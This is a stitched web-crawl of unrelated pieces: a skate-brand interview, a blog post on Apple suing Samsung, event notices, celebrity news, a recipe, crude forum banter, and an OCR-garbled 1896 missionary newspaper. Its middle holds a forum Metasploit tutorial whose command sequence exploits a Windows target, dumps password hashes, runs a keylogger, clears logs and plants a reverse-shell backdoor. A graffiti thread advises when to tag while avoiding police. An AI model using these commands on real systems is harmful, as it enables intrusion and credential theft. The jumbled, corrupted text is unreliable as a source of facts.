Brian Reid: The whole reason we did the commercial the way we did – it wasn't focused on product, it was focused on brand image and lifestyle. So you have the black and white with the film noir, and we popped it with the corporate orange, but it was really accessible. And like with Corey – obviously he was hurt, but we wanted him to go out and do something that people could actually go out and do. We wanted him to go out and bomb a hill. Not everyone can flip in and flip out, that's very difficult and actually intimidating. Even with Daryl's trick, the trick wasn't the hardest, it was just shot well. The end result was, we wanted to focus on the brand image and make sure it wasn't limited to just one thing or one person.
Was that your concept or the director's concept?
BR: It was more our concept. Nick Goossen is a Hollywood director. He is not necessarily a skateboarder. He gets the culture. That's where Hans and I did our job to educate him on the shoots and certain things you can or can't do.
How long had you been working on that with him?
BR: We worked with him from February to May.
That's killer that the response has been so overwhelmingly positive.
BR: We're talking skateboarders here, so there's a lot of hate—the fact that it's been overwhelmingly positive [is great].
So, what's next?
HM: A lot of the stuff we are developing is pushing [things] as a lifestyle brand, and not really being pigeonholed in one genre. Obviously it's rooted in skateboarding and skateboarding has been a major part of our DNA, but its spread – everyone knows the success of the brand has come from multiple types of shoes that aren't all skate specific. We are looking at how we can develop something that is a lot larger. This isn't something that's happened overnight. We transitioned a long time ago.
Now that we've created a commercial, we care committed to doing more of those for next year. This was the test and the response has been so overwhelming that we've started to budget for more. I think that's just going to show our commitment and where we position ourselves. We are more than profitable this year and we are going to keep rocking and rolling.
What do you think is responsible for Osiris gaining a larger reach?
I think the design is a part of it, and the end consumer who is purchasing the stuff. There has been a big departure from "I only wear skate shoes" [amongst skaters]. They have more lifestyle influences. We've had success in that area for a long time. I think it's good because it spreads the word that you don't have to wear [just] a vulcanized shoe.
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Take a tablet, call me in the morning
Yes, I know LinuxCon is next, and that's in mid-August, but I think they've got the publicity thing covered, especially with the 20-year thing and with Linus being there and all. But if you're going to the next show, make it the Ohio LinuxFest in September. Bradley Kuhn and Cathy Malmrose are keynoting, so you'll not want to miss that (especially Cathy — Go ZaReason!)
Regular readers of this blog know that I'm not a big fan of tablets. Sure "they're hip, they're here, they're now," but for the most part, they're too big for a pocket and too small to do anything meaningful in a way that I would do anything meaningful (for example, write this blog, which I am most comfortable doing on a laptop or a desktop, among other things). Frankly, I'm waiting for the tablet fad to pass, but I'm probably in the minority here.
I share the same opinion as Jeff Hoogland, whose blog item yesterday entitled "Why the tablet craze?" mentions that tablets "are great novelty items. If you have an extra few hundred dollars laying around and want a new toy _ go ahead and pick one up. Just don't expect it to magically change your life or make it easier like many commercials would have you think."
But I'm talking tablets today because despite the fact that I'm not a tablet user, I'm about to give a huge slap on the back of the head to Apple; unprecedented here for the most part because a.) I used to be an Apple guy in the late '80s and '90s, and b.) the one of the reasons I converted to Linux was that MacOS X outpaced the longevity of some of the G3-based iMacs I had — a textbook case of planned obsolescence — and it annoyed me greatly; so much so that I left what has now become, for all practical purposes, "a cult."
There. I said it. Despite the fact I'm no longer a "defender of the faith" (see MacMarines in the 1990s, of which I was a member), and despite I think they still make great hardware with a few exceptions — iMac G5: What a dog! — it's clear that Apple should be taken to task for acting less like an innovator and more like, well, Microsoft.
Apple legal seems to be working overtime, and a case in point is this: An item in the Sydney Morning Herald in Australia has Apple suing Samsung to take their new Galaxy series off the shelves — they want 'em destroyed, actually — because Apple accused Samsung of copying the iPad 2 and infringing its patents.
Let's concentrate on what "copying the iPad 2" means. An Apple drone, er rep, in Australia is quoted in the article as saying, "It's no coincidence that Samsung's latest products look a lot like the iPhone and iPad, from the shape of the hardware to the user interface and even the packaging."
So let me ask this: How is a tablet supposed to be shaped to not look like an iPad? And the user interface? How radically different does that have to be to not look like the iPad?
More importantly, when you find the competition is getting to close in the marketplace, do you take the game to the courts? Is that how tech business gauges its success now — not on the merits of its hardware, but on the legal abilities of its attorneys? Apparently, that's the modus operandi for Apple, and many other companies, these days.
If Apple is supposed to be the world's coolest uber-company that can do no wrong — as their advocates love to tout ad nauseum — it should be less forgetful about its past when looking toward the future. Arguably, the Macintosh could have gone the way of the Osborne in the '90s if not for some lucky twists and turns, not the least of which was a cash infusion from Microsoft. I remember because I was there, wishing I had a sledgehammer to throw at the screen after running down the center aisle at Macworld when Bill Gates appeared on it. Also, I'm not saying that Apple shouldn't guard against copying, but looking like an iPad? Is that the best you've got, Apple legal? This is your "A" game?
This is not to say that I'm defending "poor, defenseless Samsung." On the contrary: While it's great they've chosen to run the Galaxy on Android, it appears that this legal battle stems more from their heated competition in the marketplace than anything else.
This is what gives me headaches and has me reaching for a couple of tablets — of the pharmaceutical variety.
So if I were Etch-a-Sketch, I'd definitely get an attorney and look at Apple's iPad and the Samsung Galaxy. Yep, some definite similarities there between the product I grew up with and those two, and some that a judge might find interesting.
Time for a walk in the redwoods.
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August 2, 2011 at 10:10 am
Thank you for a breath of fresh air in the tech world.
If these corps would put as much effort into innovation as they have been putting into legal offensives we would have some real science fiction like tech in our hands.
August 2, 2011 at 10:34 am
Apple's A-Game is being A-holes
August 2, 2011 at 12:09 pm
Man bites Apple.
August 6, 2011 at 10:09 am
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AN award-winning vintage fair brought an extra sense of style to the administrative heart of Worcester.
Lou Lou's Vintage Fair has previously been named the best vintage fair in the UK and more than 40 vintage traders added to the stately glamour of the Guildhall on Sunday, February 23.
Shoppers with an eye on the past were able to browse stalls offering all sorts of clothing, homeware, crafts, accessories, jewellery and collectables across two floors of the High Street venue as well as stepping into a vintage beauty parlour.
They were also able to put their feet up and enjoy a kitsch tea party where council meetings usually fill the tables but from 11am to 4pm there was just space for hot drinks, homemade treats and tasty snacks.
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Good luck concentrating in class now, fuckers
Good luck concentrating in class now, fuckers
dana white needs to get on that shit and put it on ppv
wax on wax off
This is not BJJ.
BJJ involves a gi, that was clearly no-gi.
Best call this thread 'Lesbian Submission Grappling Class'
couple of things i notice.
1, good mat set up
2, hope the mats got cleaned afterwards
3, i always knew "checkin oil" was a good move to use!
This would only work with lesbians, if it were a mixed class, none of the men would progress as they would continually get stuck in a "Lesbian Guard"
Was I the only one who was hoping that they cleaned the mats afterwards.
Catching ring worm is one thing.........
Blow job is better than no job
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Very Nice! I know I'm kinda late on this, but think you deserve more credit, and at least 1 reply. You help guys like me out tremendously!
Keep the videos coming
Watch videoon-line: http://g0tmi1k.blip.tv/file/3308154
Download video: http://www.mediafire.com/?oxsal2u1dr81b0a
What is this?
A basic guide to show how powerful the metasploit framework is!>Setup & run a exploit.What do I need?
>Use nmap to scan.
>Use db_autopwn (to exploit the masses!)
>Gather information about the target
>Read, download and upload files
>Run scripts
>Create & use a backdoor.
> Metasploit Framework
> (Vulnerable) target (e.g. Windows XP SP0/1)
Name: Metasploit
Version: 3.3.3
Home Page: http://www.metasploit.com/
Download Link: http://www.metasploit.com/framework/download/
Notes:Code:cd /pentest/exploits/framework3/ ./msfconsole db_create g0tmi1k db_hosts db_add_host 10.0.0.4 db_hosts #show ##Show everything! [wasn't in video] use windows/smb/ms06_040_netapi #use windows/dcerpc/ms03_026_dcom ##Different exploit, didn't find it as reliable #set paypload windows/shell_bind_tcp ##Could do a windows shell (not as powerful as meterpreter) #set payload windows/meterpreter/reverse_tcp ##Could do a meterpreter (but we do it later!) set payload windows/vncinject/bind_tcp show options set lhost 10.0.0.6 show options exploit db_del_host 10.0.0.4 db_hosts db_nmap -n 1O 10.0.0.1-5 db_hosts db_autopwn -t -p -e sessions -l sessoins -i 1 sysinfo #ipconfig ##IP information [wasn't in video] idletime ps kill [number] getuid #migrate // getsystem // use priv ##If the exploit doesn't have system privileges! [wasn't in video] hashdump # execute ## Runs a command [wasn't in video] shell pwd ls cd C:/ ls mkdir g0tmi1k ls cd g0tmi1k cat C:/boot.ini download C:/boot.ini /tmp/boot.ini ./msfpayload windows/meterpreter/reverse_tcp lhost=10.0.0.6 X > /tmp/g0tmi1k.exe upload /tmp/g0tmi1k.exe C:/g0tmi1k/g0tmi1k.exe run getgui -u g0tmi1k -p haveyou run keylogrecorder ## More scripts: /pentest/exploits/framework3/scripts/meterpreter #run scraper ##Gets information about target, dumps reg etc[wasn't in video] #run vnc ##Setups VNC [wasn't in video] #run uploadexec ##Upload and run a program [wasn't in video] clearev exit -y exit -y ##Start fresh for the backdoor! ./msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 10.0.0.6 exploit ## Somehow run: C:\g0tmi1k\g0tmi1k.exe
Made a few slip-ups in the video and something went wrong with keylogrecorder.
This is only the basic stuff - it can do ALOT more! See commands for a few more basic things which I didnt do.
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Video length: 9:07
Capture length: 29:20
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Have you...g0tmi1k?
Very Nice! I know I'm kinda late on this, but think you deserve more credit, and at least 1 reply. You help guys like me out tremendously!
Keep the videos coming
Thanks for the thanks (=
Have you...g0tmi1k?
Nice video, every beginner should see this video.
It just explain everything of the basics from metasploit.[BOOK][/BOOK]
Hi everyone. Yesterday i was trying to re-enact this scenario but when it comes to msfconsole i got the following error.
msf > db_create pheaneasphreak
Warning: The db_create command is deprecated, use db_connect instead.
The database and schema will be created automatically by db_connect. If db_connect fails
to create the database, create it manually with your DBMS' s administration tools.
createdb: could not connect to database postgres: could not connect to server: No such file or directory
Is the server running locally and accepting connections to Unix domain socket
"/var/run/postgresql/ .s.PGSQL.5432" ?
Error while running command db_create: Failed to connect to database: could not connect to server:
connection refused.
Is the server running on host "127.0.01" and accepting TCP/IP connections on port 5432?
What does that mean and how can i fix that? I am new to this Backtrack thing.Thanks in advance
dear sir,
when i was typing db_create k4t41, it was appear a command like this : http://i34.tinypic.com/5yaj9z.png
could someone tell me what was the meaning?
dear sir,
when i was typing db_create k4t41 at metasploit, it was appear command like this : http://i34.tinypic.com/5yaj9z.png
please tell me what should i do
thanks for the video
What version of BackTrack are you using?
Have you got postgres installed?
What is the output from running?Code:db_driver
*Friendly reminder - could you use CODE tags this time?!*
Have you...g0tmi1k?


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WATCH: Taylor Swift calls out Harry Styles at the VMAs
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When Taylor Swift won Best Female Video at this year's MTV Video Music Awards for "I Knew You Were Trouble," during her acceptance speech, she took a clear shot at one of her exes - a certain One Directioner.
She said, "I also want to thank the person who inspired this song, who knows exactly who he is. Because now I've got one of these. Thank you very much!"
[PHOTOS: 2013 MTV Video Music Awards]
Oooo, burn for Harry. But she didn't stop there. While Harry and his One Direction pals were up on stage, the camera pans over to T-Swift, where she is caught mouthing "Shut the f**k up."
Ouch! Check it out:
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BREVARD, N.C. – Brevard College women's soccer head coach Shigeyoshi Shinohara is pleased to announce the date for the 2014 Spring Tornado Soccer Clinic.
The event is designed to help female high school players develop their skills and game, as well as having a great opportunity to learn about the college and campus. Each session will be conducted by the need for high school players.
The clinic will be on Saturday, April 26, 2014 and is set to run from 1 P.M.- 4:30 P.M. The camp will host high school female players ninth grade and above. All activities will take place at the Brevard College Soccer Field and in Boshamer Gym on the campus in Brevard, N.C.
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REGISTARTION CLOSES ON THE 2nd OF AUGUST 2012
VENUE: Sugden Sports Centre - 114 Grosvenor Street Manchester M1 7HL
Before his/her first fight, the athlete will check his/her weight . There is only one opportunity to check the weight. If the competitor does not make his/her weight,they will be immediately disqualified. Please make sure that you are in the correct weight division. You can not change divisions ,if you do not make your designated division. No changes will be accepted in the tournament day, no refund.
All athletes must weighn in with the complete uniform (the weight list already includes the extra weight for the uniform i.e: Short and rash guard).


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ASK US ABOUT OUR MIRACLE DIET!: Our Twitter account was hacked this week. Usually, we are pretty careful about clicking on links when we're uncertain of their provenance. We don't fall for Nigerian widows. We don't imagine that we actually won the Coca-Cola Billion-Dollar Lottery. We think before we link would be an adorable way of putting it.
So we're lying on the couch in the Barn and we get a tweet from the L.A. Press Club telling us that someone there has something bad to say about us.
It's awards season in journalism right now. It's a time when journalism award-givers fawn and slobber over us, weighing us down with an annual cargo of medallions and certificates and plaques and bouquets of roses, so you can only imagine how curious we'd be to learn what manner of disparaging words were floating around like astronaut jetsam in the Twitterverse.
So we clicked on the link. Oh, don't slap your forehead at us. You would've done the same thing.
The link sent us to a page where we were informed we had to reenter our Twitter password, so we typed in "awardwinner," which was our Twitter password, but nothing much happened. No Press Club, no trash-talk about us.
Then we started hearing from friends and other people in our sprawling Twitter community. They were getting tweets from us talking about, "I was skeptical, but then I found out this diet really works!!," and "Look at this hilarious picture of you!!" and "How you can make $100,000 working at home!!"
They were obvious spam links, and some of our more technoparanoid friends stayed away from them, while others clicked on them, further spreading the cybervirus.
It was reasonable to click on the links. After all, we make $100,000 (a tad more, if it's any of your business) working at home (in the Jacuzzi, specifically), and we do have several hilarious pictures of our friends and colleagues - most taken without their knowledge, adding to the hilarity, to say nothing of the embarrassment, and, lastly, we obviously have some sort of secret diet that really works.
So, get off your high horse regarding our friends and colleagues. You would've done the same thing.
We sat in bafflement for 24 hours or so, basking in the attention from all our social networking friends. Our notification alerts had our phone virtually ringing off its virtual hook (it neither rings nor rests on a hook. It plays guitar and vibrates excitedly in our pocket).
"I can't open your miracle diet link," wrote some people. "Dude, you've been hacked," wrote others. Some even said it looked like spam, but they thought we were cleverly sending them a spam-looking link as a joke and that there would be something wonderful to discover by clicking on it.
Or, better yet, someone saying something bad about them.
WORTHY TOURNEY: We used to golf, but we gave it up because we just kept getting worse at it. Time was when we surrounded ourself with a threesome of inferior golfers with whom we played each weekend at the smallish Bixby Village Golf Course. We beat them practically every week, our pockets jangling with bingo-bango-bongo winnings.
Then we started golfing with people who weren't utterly horrible at the game, and we lost week after week, until we cut our participation in the sport to two or three tournaments a year. We always played the Wilson High tournament, and usually the Police Widows & Orphans fund and sometimes, just so we could run wild on Virginia Country Club, the Long Beach Symphony tourney.
Then we gave up. Surrendered. Cried "uncle." Threw in, in short, the towel.
Otherwise, sure, we'd be at the front of the line in the Long Beach City College Athletic Associates Golf Tournament, which tees off with a shotgun start at 1 p.m. May 10 at Recreation Park Golf Course.
For one thing, our beloved alma mater City College is where we did our first newspaper typing and where we met our wife, Mamie Eisenhower.
For another, this year's tournament honors our pal and LBCC Hall of Famer John Morris, who's as good a guy as you're going to know for an awful lot of reasons.
In fact, if the organizers need a guy to drive the booze cart around, we're your man - if they don't mind having a fox drive the chicken cart around.
For everyone else, the buy-in is $175 per golfer, or $700 for a foursome (no savings there, we asked our economist).
For more info, call 562-938-4237, or register online at www.lbccvikings.com.
firstname.lastname@example.com, 562-714-2116 or http://twitter.com/grobaty


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The 18 hour Canadian studies minor is a multidisciplinary program for students wishing to combine it with a major in another field. Students in such majors as history, political science, business, economics, environmental studies, French, and many others available at SUNY Plattsburgh have found this minor attractive to achieve their career aspirations and/or to pursue graduate studies.
The multidisciplinary foundation course CAS111 Introduction to Canada is a required beginning. Students then have the option of choosing from a variety of Canadian content courses in history, geography, humanities, politics and economics/business, and Quebec studies. Many of these courses are part of the general education program at SUNY Plattsburgh. An important benefit of the minor program is that some of the courses can be taken through study abroad in a Canadian/Quebec university.
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PHOTOS: Kim Kardashian's 'Last Supper' with friends, bachelorette party in Paris
Listen to Kanye West on iHeartRadio
Kim Kardashian had her "last supper" as a bachelorette on Thursday in Paris.
The bride-to-be was joined by her girlfriends, including La La Anthony and Brittny Gastineau, and of course sisters Khloe, Kendall and Kylie.
They dined at Hotel Costes, visited the Louvre, and reportedly had a private party at the Eiffel Tower.
Kardashian captioned a group shot on Instagram, "I'm so lucky! I have the best friends in the whole wide world! #ParisNights #LastSupper"
She and Kanye West are set to have a pre-wedding event on Friday, with the nuptials slated for Saturday.
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i love 3:30to4:50 ish to do tags and get on to roofs n shit
its pretty chill in my area around 5pm or early in the mornin as long u are not doin anything big
when no one is looking duh
nah i hit up the servo around 9 and 10
not 2 late cuz thats went all the crack heads go down 2 the KFC next 2 the place
Mo-Town bombers PM me
from 2 am till 5 am ))
Yeah the scene is absolutely dead from 3:00-5:00.
6-7am. all the cops are going back to the station to switch shifts. know your cops shift schedule.
Middle of day to do tags....1am till 4ish is good for burners and bombs...stealth mode...go ninja style
Mid day bitches!
day time for hit ups, 9-11 with paint, and piece in chill day spots... once in awhile on freeway spots around 10-12
usualy go in the middle of the day. if you hit a train in the morning on a saturday the train usualy runs all day. appart from trains, tracksides are good during the day so long as you keep an ear and an eye out for trains ha
hahaa 4-5 in the morning on weekends
right when it starts to get dark
day time night time any time!
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if u wanna do a piece n a mor public place go out at like 2 on a sunday night... the streets are dead
10-12 or 2-3 if there is a full moon out, so you can see what you're doing
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Makes 6 pie pops; each serves 1
Preheat oven to 400°F. Line a cookie sheet with parchment paper.
On lightly floured surface, unroll pie crusts following package instructions. Use pie press to cut shapes, rerolling dough as necessary. From scraps, cut six 1/2 in. x 3 in. strips of dough.
Place one piece of dough in the bottom of the pie press (the side without ridging along the lip). Brush edges completely with beaten egg. Fill center with 1-1/2 to 2 tablespoons pie filling. Place cookie stick in center on top of filling. Top with another piece of dough. Close pie press firmly to crimp and seal the edges of the pie. Place on prepared pan. Brush one strip of dough with beaten egg and wrap around base of pie where it meets the stick. Continue making pops with remaining dough. Brush tops of pies with beaten egg and pierce with fork. If desired, sprinkle with sprinkles or colored sugars.
Bake 18-20 minutes or until crust is golden . Cool completely before serving. If desired, melt Candy Melts according to package directions. Drizzle over cooled pies.


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To use aircrack-ng, do you use a laptop and do you boot on this USB key? Cos only USB wireless keys are recognized by Backtrack usb live, not the integrated wireless peripheral. But if you install Backtrack on your computer, all peripherals will appear.
For your other questions, my answer is: Be curious, test by yourself, and you'll learn. It means that you need nobody except yourself to answer to this questions.


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The Word Carrier VOLUME XXV. HELPING THE RIGHT, EXPOSING THE WRONG. NUMllKlt !5. SANTEE AGENCY, NEBRASKA. MARCH, i8q6. FIFTY CENTS PER YEAR OUR PLATFORM. For Indians we want American Education! We want American Homes! We icant American Rights! The result of which is American Citizenship! And the gospel is the Power of God for tlieir Salvation' THE PRESENT NEEDS OF THE INDIANS. It would appear that there was a certain definite loss to the cause of Christianity among the Indians when that work ceased to be call- i il Foreign Missions, and became Home Missions. In the face of much opposition and many sneers mice the day it first discovered its "marching orders," the Church has never ceased to believe it to be its duty to go out into all the world and preach the gospel, and persecution, neglect, or starvation have only served to intensify its zeal. It must preach the gospel to tlie heathen. But in regard to Home Missions the Church has felt that it may preach tlie gospel to neighbors, not that it must—that it is a good and desirable I iiing to do, but by no means an in- e\orable duty. If the Indians had remained foreign heathen, we might hope for a Students' Volunteer movement, for an Inland Mission, for <t zeal beyond wisdom which even sets forth to preach the gospel in the midst of war. The Indiaus are as pagan as the Japanese or the Hin- dus, for instance: their redemption is as great a necessity as the redemption of the Chinese. Their chiefs plead for help and teachers in no less touching fashion than do South African kings. But those fill us with missionary zeal. We cry unto heaven for money and opportunity to go over seas to convert Chose; but these, the heathen in our very midst, most of us neither see nor hear. Can it be because there is neither romance nor mystery about these others? The test of ihe reality of our zeal is before us Cere and now. We may measure the value of our professions for ourselves. At this present time the need of the Indians for missionaries is greater than ever before. They have reached not only a new crisis, but a crisis of a new kind. Practically speaking the Government has done what it can for them, or very nearly all. The Indian has law, land, education, he is fast becoming absorbed in the surrounding people, but never was he in worse need. All these great fundamental principles of social life have been thrust upon him, oft against his will and largely unprepared; certainly with very little comprehension of their resulting privileges or duties. He needs a friend beside him at every step. Thrust out into an alien and hostile community, he is in some sense in a worse case than when he dwelt alone in undisturbed barbarism. And again, civilization is not Christianity. This truth, so obvious everywhere else, seems to be lost sight of when the Indians are considered. We discover that, although educated, they will not stay refined; that they are civilized, but will not remain moral. Behold, says the caviller, there is no good Indian until he dies, and even his friends complain that the young men will "go back" to gambling games and horse races. It is true that some measure of refinement and fine morals is peculiarly necessary to the Indians just now, but these are not any necessary part of civilization. They are, however, inseparable to Christianity, and by this token the red man needs Christianity for his everyday life even more than the white, who is surrounded by a Christian atmosphere. If we would have the newly liberated Indians a valuable and reliable part of the community in this world they must be Christianized. Just why goes back a long way; but a fact it is, tbat wdiatever may be true of Chinese or Poles or Bohemians, if the Indian is to have any staying power, if he is to be anything but a despair to his friends and a curse to all around him, he must be converted as well as civilized. The use of his land, the best system of law, an absolute restriction upon liquor, all together, will do no more for him in the Northwest than it has done for Cherokee or Choctaw. It is the building up of the individual that is needed to-day quite as much as any legislation which shall improve the community. Not only has the Indian come to a time of special need, not only does he need Christianity to make his land and his education of any value, not only is his law unsupported by his own character of little worth, but he needs Christian missionaries- more and more, because he has ceased to be the Indian and become Indians. It is peculiarly true that every tribe, every group, every family almost, has reached a different state of need. The varying pressure of circumstances combined with the differing methods of education furnished the children, has brought the race to a time and place when it needs many, many helpers,who, living with them will find their reward in their growth and development. It is not further efforts by the churches for the education of the Indian that are needed. There are many schools, good, bad, and indifferent, but still schools, and it is certain that the Government will attend to the education difficulty. But it is missionaries that the Indian needs; missionaries to convert heathen. This is an inglorious service and one of plenteous hardship, but beyond' measure it is a patriotic service, beyond measure it is the work of Him whose "all the world" began "at Jerusalem," who taught us to find Himself wherever the least of His children were in sore need.—Anna L. Dawes in Am. Miss. Magazine. Rev. James Garvie has now been absent in Washington for six weeks, working in the interest of the Santees before Congress. As a result of his unwearied labors, Senator Allen of Nebraska has introduced a bill into the Senate restoring to the Flandrau and Santee Sioux the annuities coming from the sale of Minnesota lands which were declared forfeited afterthe outbreak m 1862. The bill has been reported back favorably to the Senate. Whatever may be the merits of the bill, Mr. Garvie is worthy of commendation for the skill and pertinacity with which he carried it so far. THE TONGUE. A Scripture Paraphrase. Little is the tongue, but mighty Thus the Holy Scripture saith; Giving wounds,or health bestowing. In its power are life and death. Pleasant words are sweet as honey. Making glad the stooping heart; Like the oil on troubled waters Soothing angry thoughts that start. Like cold waters to the thirsty So is good news from afar; Prov. 27: ;■. Like the perfume of sweet ointment, So a friend's true councels are. Jas. 3: 5- Prov. 18: Prov.12: Prov. 18: Prov. 16: Prov. 12: Ps. 141: Prov. 15: Prov. 25: Prov. 24: Prov, 25: 26. He who giveth a right answer, Every one his lips shall kiss; «'. And a word that's fitly spoken, Oh, how beautiful it is! Prov.22:ii.Hewhokeepshistongue,thatfromit No impure or mean word slips, His companions shall be princes, For the sweetness of his lips. Ps-15- 3- He whose loving soul refuses Needlessly of faults to tell— Ps. 15: 4. He who truthful proves in trial, In God's holy hill shall dwell. Ps. 19:14. Let my thoughts,0 Christ, my Savior, Be acceptable to Thee; Jas. 3: 11. Then like rills from a pure fountain, True and sweet my words will be. 2 Cor. 5:14. May Thy love constrain thy people Ps. 51:14. Of Thy righteousness to sing, Phil. 2: 11. Until every tongue confesses, "Jesus Christ is Lord and King." E. L. GERTRUDE SIMMONS. We are glad to place here a credit mark for one of our former pupils, Miss Gertie Simmons of Yankton Agency, who was with us in 1888-89. She has just taken second prize at the Indiana collegiate oratorical contest, held at Indianapolis, March 13. The judges were Judge Woods of the United States Circuit court, ex-Congressman Bynum and Governor Claude Matthews. We copy the account of the Indianapolis News. When it came the turn for Gertrude Simmons, the Sioux Indian girl,to speak for Earlham,there were cheers from her fellow-students, and a cane with college colors was waved overhead, but there was less bois- terousness of outburst than that which greeted the preceding speakers. The applause showed a warm, but a delicate and respectful appreciation. The name of Miss Simmons had been cheered impartially by various colleges in the evening. The slight, dark-skinned girl, dressed in black, who sat at the end ofthe row of speakers, had been gazed upon with curiosity. It was noticed that her face showed in delicate but firm lines the cut of the Indian face. Her eyes and hair were black, the small, well-shaped hands at her side were of dark copper color. Expectation created by curiosity turned all eyes which had been wandering and sleepy before, toward the Indian girl, and the attention attracted thus was held by her power as an orator in behalf of the Indian. Her voice was clear and sweet, her language was that of a cultivated young woman and her pronunciation was without trace of a tongue unfamiliar with English. Her manner was real, womanly and refined. The effect of artificiality in a speaker, up merely on exhibition, was lost when she spoke, and the audience forgot that it was an oratorical contest, and remembered only that an Indian girl was speaking for her race. Her subject was "Side by Side," and the beginning of her address did not make it apparent that this was to be her theme. She began with a glowing account of the advance of tbe spirit of freedom and the greatness of the Teutonic race. But she returned to a view of the great forest-covered continent of four hundred years ago, and spoke of the bark canoe plying its streams, of the wigwams, the fires, the life of the hunter and the relations of Indian mother aud child. She spoke of the friendly spirit of early Indians turned to bitterness by treachery. The Indian, she said, was never the first to break a treaty. She spoke of the fidelity of the Indian to the Quakers and others who had kept faith with him. She told of the degradation that had come along with civilization in the introduction of "fire-water" and evil example. The Indian, she said, had been charged with cruelty. She compared this cruelty of the Indian, barbarous and without the advantages of civilization and Christian teaching,with the cruelty of civilized Europeans in the St. Bartholomew massacre, the burning at the stake for religious opinion, the fearful bloodshed of the French revolution. She spoke effectively of the cruelty of the Indian in the forests of America at the very time that witches were being burned at Salem. The white man, she said, had been both the accuser and judge of the Indian. She made a fervent prayer toGod for justice. At the close she spoke of what had resulted from a Christian spirit toward the Indian, of the advantage which has been taken of the opportunities for education and of the spirit which allowed the Indian and white races to go forward "side by side." When she finished there was a response of hearty and deep-felt applause which mounted to a cheer coming from every part of the house. The vote ofthe hearts ofthe hearers was given to her. Judge Woods, one of the judges of delivery, when the speech was over sat silent a moment, hastily went over his marks, and then turning to W. D. Bynum, said: "When it comes to oratory, I place the Indian girl far above the college boys every time." When President Riock, of the oratorical association, finally came forward to announce the first three in order of victory, each announcement was greeted with deafening cheers, and the enthusiasm then poured itself out into the streets where it continued. The rank of the six orators was Ewing, of DePauw, first; Miss Simmons, of Earlham, second; Clark, of Butler, third ; Bell, of Wabash, fourth ; Bowman, of Hanover, fifth, and Schuh, of Franklin.sixth. It is proposed to have an Indian Y. M. C. A. Summer School on the shores of Big Stone Lake, near Sisseton Agency, S. D., the last of June and the first of July. General Secretary C. K. Ober is arranging for it. A number of the best Association leaders and teachers will be present, with a good director of athletics. This is a new thing for our Indian Y. M. C. A. men. It is to be hoped that they will quickly ' see the advantages of it
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The Word Carrier
NUMllKlt !5.
MARCH, i8q6.
For Indians we want American Education! We want American Homes!
We icant American Rights! The result of which is American Citizenship!
And the gospel is the Power of God for
tlieir Salvation'
It would appear that there was a
certain definite loss to the cause of
Christianity among the Indians
when that work ceased to be call-
i il Foreign Missions, and became
Home Missions. In the face of
much opposition and many sneers
mice the day it first discovered its
"marching orders," the Church has
never ceased to believe it to be its
duty to go out into all the world and
preach the gospel, and persecution,
neglect, or starvation have only
served to intensify its zeal. It must
preach the gospel to tlie heathen.
But in regard to Home Missions the
Church has felt that it may preach
tlie gospel to neighbors, not that it
must—that it is a good and desirable
I iiing to do, but by no means an in-
e\orable duty. If the Indians had
remained foreign heathen, we might
hope for a Students' Volunteer movement, for an Inland Mission, for
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